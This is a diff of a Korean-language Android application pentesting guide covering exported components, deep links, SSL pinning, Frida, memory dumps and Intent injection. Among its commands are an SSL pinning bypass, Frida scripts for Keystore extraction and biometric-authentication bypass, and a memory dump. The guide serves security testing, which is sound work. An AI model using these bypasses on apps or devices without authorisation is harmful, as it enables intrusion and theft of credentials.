어떤 플랫폼에서든 새로운 에뮬레이터를 만들 때 화면이 클수록 에뮬레이터가 느려집니다. 가능하면 작은 화면을 선택하세요.
|
||||
{% endhint %}
|
||||
|
||||
Genymotion에서 **AppStore**와 같은 구글 서비스를 설치하려면 다음 이미지의 빨간색으로 표시된 버튼을 클릭해야 합니다:
|
||||
Genymotion에서 **AppStore**와 같은 구글 서비스를 설치하려면 다음 이미지의 빨간 표시된 버튼을 클릭해야 합니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (277).png>)
|
||||
|
||||
|
@ -299,9 +299,9 @@ Genymotion에서 **AppStore**와 같은 구글 서비스를 설치하려면 다
|
|||
2. (Android 8.0부터) **시스템** 선택.
|
||||
3. **휴대폰 정보** 선택.
|
||||
4. **빌드 번호**를 7번 누릅니다.
|
||||
5. 뒤로 돌아가면 **개발자 옵션**을 찾을 수 있습니다.
|
||||
5. 뒤로 가서 **개발자 옵션**을 찾을 수 있습니다.
|
||||
|
||||
> 애플리케이션을 설치한 후에 해야 할 첫 번째 작업은 애플리케이션을 시험해보고 작동 방식을 조사하고 익숙해지는 것입니다.\
|
||||
> 애플리케이션을 설치한 후에 해야 할 첫 번째 작업은 앱을 시험해보고 작동 방식을 조사하고 익숙해지는 것입니다.\
|
||||
> MobSF 동적 분석 + pidcat을 사용하여 **초기 동적 분석을 수행**하는 것을 제안합니다. 이렇게 하면 MobSF가 나중에 검토할 수 있는 많은 **흥미로운 데이터를 캡처**하면서 애플리케이션의 작동 방식을 배울 수 있습니다.
|
||||
### 의도하지 않은 데이터 누출
|
||||
|
||||
|
@ -310,19 +310,19 @@ Genymotion에서 **AppStore**와 같은 구글 서비스를 설치하려면 다
|
|||
개발자는 **디버깅 정보**가 공개되지 않도록 주의해야 합니다. 이는 민감한 데이터 누출로 이어질 수 있습니다. [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하여 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하는 것이 권장됩니다. **Pidcat**은 사용하기 쉽고 가독성이 좋아 선호됩니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Android 4.0 이후의 최신 버전**에서는 **애플리케이션이 자체 로그에만 액세스**할 수 있습니다. 따라서 애플리케이션은 다른 앱의 로그에 액세스할 수 없습니다.\
|
||||
**Android 4.0 이후의 최신 버전**에서는 **애플리케이션은 자체 로그에만 액세스**할 수 있습니다. 따라서 애플리케이션은 다른 앱의 로그에 액세스할 수 없습니다.\
|
||||
그래도 **민감한 정보를 기록하지 않는 것**이 좋습니다.
|
||||
{% endhint %}
|
||||
|
||||
**복사/붙여넣기 버퍼 캐싱**
|
||||
|
||||
Android의 **클립보드 기반** 프레임워크는 앱에서 복사 및 붙여넣기 기능을 가능하게 하지만 **다른 애플리케이션**이 클립보드에 **액세스**할 수 있어 민감한 데이터가 노출될 수 있습니다. 애플리케이션의 민감한 섹션(예: 신용 카드 정보)에 대해 복사/붙여넣기 기능을 **비활성화**하여 데이터 누출을 방지해야 합니다.
|
||||
Android의 **클립보드 기반** 프레임워크는 앱에서 복사 및 붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 **액세스**할 수 있어 민감한 데이터가 노출될 수 있습니다. 애플리케이션의 민감한 섹션(예: 신용 카드 정보)에 대해 복사/붙여넣기 기능을 **비활성화**하여 데이터 누출을 방지해야 합니다.
|
||||
|
||||
**크래시 로그**
|
||||
|
||||
애플리케이션이 **크래시**하고 **로그를 저장**하는 경우, 이러한 로그는 애플리케이션이 역공학화되지 않을 때 특히 공격자를 지원할 수 있습니다. 이러한 위험을 줄이기 위해 크래시 시 로깅을 피하고 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 안전하게 전송되도록 해야 합니다.
|
||||
애플리케이션이 **크래시**하고 **로그를 저장**하는 경우, 이러한 로그는 특히 애플리케이션이 역공학화되지 않을 때 공격자를 지원할 수 있습니다. 이러한 위험을 줄이기 위해 크래시 시 로깅을 피하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 안전하게 전송되도록 해야 합니다.
|
||||
|
||||
펜테스터로서 **이러한 로그를 살펴보려고 노력**해야 합니다.
|
||||
펜테스터로서 **이러한 로그를 살펴보세요**.
|
||||
|
||||
**3rd 파티에 전송된 분석 데이터**
|
||||
|
||||
|
@ -330,16 +330,16 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사 및 붙
|
|||
|
||||
### SQLite DBs
|
||||
|
||||
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용할 것입니다. 펜테스트 중에는 생성된 **데이터베이스**, **테이블** 및 **열의 이름** 및 저장된 **모든 데이터**를 확인해야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있는)를 발견할 수도 있기 때문입니다.\
|
||||
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 합니다. 예를 들어 `/data/data/com.mwr.example.sieve/databases`
|
||||
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에는 생성된 **데이터베이스**, **테이블 및 열의 이름** 및 저장된 **모든 데이터**를 확인해야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있는)를 발견할 수도 있기 때문입니다.\
|
||||
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며 `/data/data/com.mwr.example.sieve/databases`와 같이 될 것입니다.
|
||||
|
||||
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **암호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
|
||||
|
||||
`.tables`를 사용하여 테이블을 나열하고 `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
|
||||
`.tables`를 사용하여 테이블을 나열하고 `.schema <table_name>`을 사용하여 테이블의 열을 나열하세요.
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
[Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)에 따르면 **Drozer**를 사용하면 Android 앱의 역할을 **가정**하고 다른 앱과 상호작용할 수 있습니다. Android의 Inter-Process Communication (IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용하는 등 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있습니다.\
|
||||
[Drozer 문서](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)에 따르면 **Drozer**를 사용하면 Android 앱의 역할을 **가정**하고 다른 앱과 상호 작용할 수 있습니다. Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호 작용하는 등 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있습니다.\
|
||||
Drozer는 내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 **악용**하는 데 유용한 도구입니다.
|
||||
|
||||
### 내보낸 활동 악용
|
||||
|
@ -355,48 +355,52 @@ Drozer는 내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 **악
|
|||
|
||||
또한 adb에서 내보낸 활동을 시작할 수 있습니다:
|
||||
|
||||
* 패키지 이름은 com.example.demo
|
||||
* 내보낸 활동 이름은 com.example.test.MainActivity
|
||||
* 패키지 이름은 com.example.demo입니다.
|
||||
* 내보낸 활동 이름은 com.example.test.MainActivity입니다.
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**참고**: MobSF는 활동의 `android:launchMode`으로 _**singleTask/singleInstance**_ 사용을 악성으로 감지할 것이지만, [여기](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)에 따르면 이는 오래된 버전(API 버전 < 21)에서만 위험하다고 합니다.
|
||||
**참고**: MobSF는 활동에서 `android:launchMode`로 _**singleTask/singleInstance**_를 사용하는 것을 악성으로 감지할 것이지만, [여기](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)에 따르면 이는 이전 버전(API 버전 < 21)에서만 위험하다고 합니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
인가 우회가 항상 취약점은 아닙니다. 우회 방법 및 노출되는 정보에 따라 다릅니다.
|
||||
인가 우회(authorisation bypass)가 항상 취약점은 아닙니다. 우회가 작동하는 방식과 노출되는 정보에 따라 다를 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
**민감한 정보 누출**
|
||||
|
||||
**활동은 결과를 반환할 수도 있습니다**. 내보내고 보호되지 않은 활동을 찾아 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환**하는 경우 민감한 정보 누출이 발생합니다.
|
||||
|
||||
#### 탭잭킹
|
||||
#### 탭재킹
|
||||
|
||||
탭잭킹이 방지되지 않으면 내보낸 활동을 악용하여 **사용자가 예기치 않은 작업을 수행**하게 할 수 있습니다. [**탭잭킹이란 무엇인지 알아보려면 링크를 따르세요**](./#tapjacking).
|
||||
탭재킹을 방지하지 않으면 내보낸 활동을 악용하여 **사용자가 예상치 못한 작업을 수행**하게 할 수 있습니다. [**탭재킹이란 무엇인지 알아보려면 링크를 따르세요**](./#tapjacking).
|
||||
|
||||
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
|
||||
|
||||
[**콘텐츠 제공자가 무엇인지 다시 확인하려면 이 문서를 읽으세요.**](android-applications-basics.md#content-provider)\
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면 **민감한 데이터**를 추출할 수도 있습니다. 가능한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미로울 수 있습니다.
|
||||
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면 거기서 **민감한** 데이터를 **추출**할 수 있을 수도 있습니다. 가능한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미로울 수 있습니다.
|
||||
|
||||
[Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.](drozer-tutorial/#content-providers)
|
||||
|
||||
### **서비스 악용**
|
||||
|
||||
[**서비스가 무엇인지 다시 확인하려면 이 문서를 읽으세요.**](android-applications-basics.md#services)\
|
||||
서비스는 기본적으로 데이터를 **받을 수 있고**, **처리**하며 **응답**을 반환할 수 있습니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면 해당 **코드**를 확인하여 무엇을 하는지 이해하고 기밀 정보 추출, 인증 조치 우회 등을 위해 동적으로 테스트해야 합니다.\
|
||||
서비스의 작업은 기본적으로 `onStartCommand` 메서드에서 시작됩니다.
|
||||
|
||||
서비스는 기본적으로 **데이터를 수신**하고 **처리**하여 응답을 **반환**하거나 그렇지 않을 수 있습니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면 해당 **코드**를 확인하여 무엇을 하는지 이해하고, 기밀 정보를 추출하거나 인증 조치를 우회하는 등의 **동적 테스트**를 수행해야 합니다.\
|
||||
[Drozer로 서비스를 악용하는 방법을 배우세요.](drozer-tutorial/#services)
|
||||
|
||||
### **브로드캐스트 수신기 악용**
|
||||
|
||||
[**브로드캐스트 수신기가 무엇인지 다시 확인하려면 이 문서를 읽으세요.**](android-applications-basics.md#broadcast-receivers)\
|
||||
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
|
||||
브로드캐스트 수신기의 작업은 기본적으로 `onReceive` 메서드에서 시작됩니다.
|
||||
|
||||
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있을 것입니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
|
||||
[Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **스키마 / 딥 링크 악용**
|
||||
|
||||
MobSF와 같은 도구 또는 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
|
||||
**adb** 또는 **브라우저**를 사용하여 선언된 **스키마**를 **열 수** 있습니다:
|
||||
MobSF와 같은 도구를 사용하여 수동으로 딥 링크를 찾을 수 있습니다. 또는 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용할 수도 있습니다.\
|
||||
선언된 **스키마**를 **adb** 또는 **브라우저**를 사용하여 **열 수** 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -423,7 +427,7 @@ _패키지 이름을 **생략할 수 있다는 점**을 유의하십시오. 모
|
|||
|
||||
**민감한 정보**
|
||||
|
||||
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 받지 않는지** 확인하십시오. 다른 애플리케이션이 딥링크를 흉내내어 해당 데이터를 훔칠 수 있습니다!
|
||||
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 받지 않는지** 확인하세요. 다른 애플리케이션이 딥링크를 흉내내어 해당 데이터를 훔칠 수 있습니다!
|
||||
|
||||
**경로 내 매개변수**
|
||||
|
||||
|
@ -432,21 +436,21 @@ URL의 경로 내에 매개변수를 사용하는 딥링크가 있는지도 확
|
|||
|
||||
**추가 예시**
|
||||
|
||||
링크에 관한 [흥미로운 버그 바운티 보고서](https://hackerone.com/reports/855618).
|
||||
링크에 관한 [흥미로운 버그 바운티 보고서](https://hackerone.com/reports/855618)입니다.
|
||||
|
||||
### 전송 계층 검사 및 인증 실패
|
||||
|
||||
* Android 애플리케이션에서는 **인증서가 항상 제대로 검사되지 않는 경우**가 있습니다. 이러한 애플리케이션에서는 경고를 무시하고 자체 서명된 인증서를 수락하거나 경우에 따라 HTTP 연결로 되돌아가는 것이 일반적입니다.
|
||||
* Android 애플리케이션에서는 **인증서를 항상 제대로 검사하지 않는 경우**가 있습니다. 이러한 애플리케이션에서는 경고를 무시하고 자체 서명된 인증서를 수락하거나 경우에 따라 HTTP 연결을 사용하도록 되돌아갈 수 있습니다.
|
||||
* SSL/TLS 핸드셰이크 중 협상이 때로는 취약하며, 보안되지 않은 암호 스위트를 사용합니다. 이 취약점으로 인해 연결이 중간자 공격에 취약해져 데이터를 해독할 수 있습니다.
|
||||
* 응용 프로그램이 안전한 채널을 통해 인증한 후 다른 트랜잭션에 대해 비보안 채널을 통해 통신하는 경우 **개인 정보 누출**이 발생할 수 있습니다. 이 방법은 세션 쿠키나 사용자 세부 정보와 같은 민감한 데이터를 악의적인 주체가 가로채는 것을 방지하지 못합니다.
|
||||
|
||||
#### 인증서 확인
|
||||
|
||||
**인증서 확인**에 중점을 둘 것입니다. 서버의 인증서 무결성을 확인하여 보안을 강화해야 합니다. 이는 보안되지 않은 TLS 구성 및 민감한 데이터의 암호화되지 않은 채널을 통한 전송이 중요한 위험을 초래할 수 있기 때문에 중요합니다. 서버 인증서를 확인하고 취약점을 해결하기 위한 자세한 단계에 대한 정보는 [**이 리소스**](https://manifestsecurity.com/android-application-security-part-10/)에서 포괄적인 지침을 제공합니다.
|
||||
**인증서 확인**에 중점을 둘 것입니다. 서버의 인증서 무결성을 확인하여 보안을 강화해야 합니다. 이는 보안되지 않은 TLS 구성 및 민감한 데이터의 암호화되지 않은 채널을 통한 전송이 중요한 위험을 초래할 수 있기 때문입니다. 서버 인증서를 확인하고 취약점을 해결하기 위한 자세한 단계에 대한 안내는 [**이 리소스**](https://manifestsecurity.com/android-application-security-part-10/)에서 포괄적인 지침을 제공합니다.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning은 애플리케이션이 알려진 복사본과 서버의 인증서를 확인하는 보안 조치입니다. 이 방법은 MITM 공격을 방지하는 데 중요합니다. 민감한 정보를 처리하는 애플리케이션에 대해 SSL Pinning을 구현하는 것이 강력히 권장됩니다.
|
||||
SSL Pinning은 애플리케이션이 알려진 복사본과 서버의 인증서를 확인하는 보안 조치입니다. 이 방법은 MITM 공격을 방지하는 데 필수적입니다. 민감한 정보를 처리하는 애플리케이션에 대해 SSL Pinning을 구현하는 것이 강력히 권장됩니다.
|
||||
|
||||
#### 트래픽 검사
|
||||
|
||||
|
@ -456,12 +460,12 @@ HTTP 트래픽을 검사하려면 프록시 도구의 인증서를 **설치해
|
|||
|
||||
#### SSL Pinning 우회
|
||||
|
||||
SSL Pinning이 구현된 경우 HTTPS 트래픽을 검사하기 위해 우회하는 것이 필요할 수 있습니다. 이를 위해 다음과 같은 여러 방법이 있습니다:
|
||||
SSL Pinning이 구현된 경우 HTTPS 트래픽을 검사하기 위해 우회하는 것이 필요할 수 있습니다. 이를 위해 다음과 같은 다양한 방법이 있습니다:
|
||||
|
||||
* [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)를 사용하여 SSLPinning을 우회하는 **apk를 자동으로 수정**할 수 있습니다. 이 방법의 가장 큰 장점은 SSL Pinning을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며 항상 작동하지는 않습니다.
|
||||
* 이 보호를 우회하기 위해 **Frida**(아래 참조)를 사용할 수 있습니다. Burp+Frida+Genymotion 사용 방법은 여기를 참조하세요: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* [**objection**](frida-tutorial/objection-tutorial.md)을 사용하여 SSL Pinning을 자동으로 우회할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* **MobSF 동적 분석**을 사용하여 SSL Pinning을 자동으로 우회할 수도 있습니다(아래 설명).
|
||||
* **MobSF 동적 분석**을 사용하여 SSL Pinning을 자동으로 우회할 수도 있습니다(아래 설명됨)
|
||||
* 캡처하지 못하는 트래픽이 있다고 생각한다면 **iptables를 사용하여 트래픽을 burp로 전달**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### 일반 웹 취약점 찾기
|
||||
|
@ -470,20 +474,20 @@ SSL Pinning이 구현된 경우 HTTPS 트래픽을 검사하기 위해 우회하
|
|||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re)는 개발자, 역공학자 및 보안 연구원을 위한 동적 계기화 도구입니다.\
|
||||
[Frida](https://www.frida.re)는 개발자, 역공학자 및 보안 연구원을 위한 동적 계기화 툴킷입니다.\
|
||||
**실행 중인 애플리케이션에 액세스하고 실행 시간에 메서드를 후킹하여 동작을 변경하거나 값 변경, 값 추출, 다른 코드 실행 등을 할 수 있습니다.**\
|
||||
Android 애플리케이션을 펜테스트하려면 Frida 사용 방법을 알아야 합니다.
|
||||
|
||||
* Frida 사용 방법 익히기: [**Frida 튜토리얼**](frida-tutorial/)
|
||||
* Frida 작업을 자동화하는 데 좋은 Ojection: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회하려면 [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 안내된 대로 Frida를 로드하면 됩니다(도구 [linjector](https://github.com/erfur/linjector-rs)).
|
||||
* Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회하려면 [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에 나와 있는 대로 Frida를 로드하면 됩니다(도구 [linjector](https://github.com/erfur/linjector-rs) 사용)
|
||||
|
||||
### **메모리 덤프 - Fridump**
|
||||
|
||||
애플리케이션이 암호나 니모닉과 같은 민감한 정보를 저장해서는 안 되는 메모리 내에 저장하는지 확인하세요.
|
||||
|
||||
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다.
|
||||
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
|
@ -492,7 +496,7 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
다음은 ./dump 폴더에 메모리를 덤프하며, 거기에서 다음과 같이 grep을 사용할 수 있습니다:
|
||||
이 명령은 ./dump 폴더에 메모리를 덤프하며, 거기에서 다음과 같이 grep을 사용할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -502,9 +506,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Keystore에 있는 민감한 데이터**
|
||||
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있다면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에 **평문으로 민감한 데이터를 저장**하는 경향이 있으므로 펜테스트는 루트 사용자로서 이를 확인해야 합니다. 또는 기기에 물리적 액세스 권한이 있는 사용자가 이 데이터를 도난당할 수 있습니다.
|
||||
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있다면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에 **평문으로 민감한 데이터를 저장**하는 경향이 있으므로 펜테스트는 루트 사용자로 확인해야 합니다. 또는 기기에 물리적 액세스 권한이 있는 사람이 이 데이터를 도난당할 수 있습니다.
|
||||
|
||||
앱이 Keystore에 데이터를 저장했더라도, 데이터는 암호화되어야 합니다.
|
||||
앱이 Keystore에 데이터를 저장했더라도 데이터는 암호화되어야 합니다.
|
||||
|
||||
Keystore 내부의 데이터에 액세스하려면 이 Frida 스크립트를 사용할 수 있습니다: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
|
@ -512,7 +516,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
|||
```
|
||||
### **지문/생체 인증 우회**
|
||||
|
||||
다음 Frida 스크립트를 사용하면 Android 애플리케이션이 수행할 수 있는 **특정 민감한 영역을 보호하기 위해 수행할 수 있는 지문 인증 우회**가 가능할 수 있습니다:
|
||||
다음 Frida 스크립트를 사용하면 Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있는 지문 인증 우회**가 가능할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -522,13 +526,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **배경 이미지**
|
||||
|
||||
애플리케이션을 백그라운드로 넣으면 Android는 앱이 다시 포그라운드로 복원될 때 앱보다 먼저 이미지를 로드하기 시작하여 앱이 더 빨리 로드된 것처럼 보이도록 **애플리케이션의 스냅샷**을 저장합니다.
|
||||
애플리케이션을 백그라운드로 전환하면 Android는 앱이 다시 포그라운드로 복원될 때 앱보다 먼저 이미지를 로드하여 앱이 더 빨리 로드된 것처럼 보이도록 **애플리케이션의 스냅샷**을 저장합니다.
|
||||
|
||||
그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 액세스 권한이 있는 사람은 해당 정보를 **도용**할 수 있습니다 (스냅샷에 액세스하려면 루트 액세스가 필요합니다).
|
||||
그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 액세스 권한이 있는 사람은 그 정보를 **도용**할 수 있습니다 (스냅샷에 액세스하려면 루트 액세스가 필요합니다).
|
||||
|
||||
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android는 **FLAG\_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 방지하는 방법을 제공합니다. 이 플래그를 사용하면 창 내용이 안전하게 처리되어 스크린샷에 나타나지 않거나 안전하지 않은 디스플레이에서 볼 수 없게 됩니다.
|
||||
Android는 **FLAG\_SECURE 레이아웃 매개변수를 설정함으로써 스크린샷 캡처를 방지**할 수 있는 방법을 제공합니다. 이 플래그를 사용하면 창 내용이 안전하게 처리되어 스크린샷에 나타나지 않거나 안전하지 않은 디스플레이에서 볼 수 없게 됩니다.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -538,15 +542,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
### Intent 삽입
|
||||
|
||||
개발자들은 종종 이러한 Intents를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 활동, 서비스 및 브로드캐스트 수신기와 같은 프록시 구성 요소를 만듭니다. 이는 위험할 수 있습니다.
|
||||
|
||||
위험은 공격자가 이러한 Intents를 잘못된 방향으로 전환하여 비내보내진 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 액세스할 수 있도록 허용하는 데 있습니다. 주목할만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하고 `Intent.parseUri(...)`를 통해 실행하여 악의적인 Intent 삽입으로 이어질 수 있는 가능성이 있는 것입니다.
|
||||
개발자들은 종종 이러한 Intents를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 활동, 서비스 및 브로드캐스트 수신기와 같은 프록시 구성 요소를 만듭니다. 이는 공격자가 이러한 Intents를 잘못된 방향으로 전환하여 미노출된 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 액세스할 수 있도록 허용하는 위험을 안고 있습니다. 주목할만한 예는 `WebView` 구성 요소가 URL을 `Intent.parseUri(...)`를 통해 `Intent` 객체로 변환한 다음 실행하여 악의적인 Intent 삽입으로 이어질 수 있습니다.
|
||||
|
||||
### 주요 포인트
|
||||
|
||||
* **Intent 삽입**은 웹의 Open Redirect 문제와 유사합니다.
|
||||
* 악용은 안전하지 않은 작업을 실행할 수 있는 `Intent` 객체를 추가로 전달하는 것을 포함합니다.
|
||||
* 비내보내진 구성 요소 및 콘텐츠 제공자를 공격자에게 노출시킬 수 있습니다.
|
||||
* 악용은 `Intent` 객체를 추가로 전달하여 안전하지 않은 작업을 실행할 수 있도록 리디렉션하는 것을 포함합니다.
|
||||
* 미노출된 구성 요소 및 콘텐츠 제공자를 공격자에게 노출시킬 수 있습니다.
|
||||
* `WebView`의 URL을 `Intent`로 변환하는 것은 의도하지 않은 작업을 용이하게 할 수 있습니다.
|
||||
|
||||
### Android 클라이언트 측 삽입 및 기타
|
||||
|
@ -565,16 +567,16 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터와 소통하세요!
|
||||
|
||||
**해킹 통찰력**\
|
||||
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
|
||||
**해킹 통찰**\
|
||||
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
실시간 뉴스와 통찰력을 통해 빠른 속도의 해킹 세계를 따라가세요
|
||||
실시간 뉴스와 통찰을 통해 빠른 속도의 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
|
||||
**지금 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!**
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)에서** 함께하여 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
## 자동 분석
|
||||
|
||||
|
@ -584,50 +586,51 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
![](<../../.gitbook/assets/image (866).png>)
|
||||
|
||||
**웹 기반의 멋진 프론트엔드를 사용하여 애플리케이션의 취약점 평가**. 동적 분석도 수행할 수 있습니다 (하지만 환경을 준비해야 함).
|
||||
**웹 기반의 멋진 프론트엔드를 사용하여 애플리케이션의 취약점 평가**. 동적 분석도 수행할 수 있습니다 (환경을 준비해야 함).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
MobSF는 **Android**(apk), **IOS**(ipa) 및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_). 또한 **Android** 또는 **IOS** 앱의 소스 코드로 ZIP 파일을 만들면(애플리케이션의 루트 폴더로 이동하여 모두 선택한 후 ZIP 파일을 만듭니다), MobSF가 분석할 수 있습니다.
|
||||
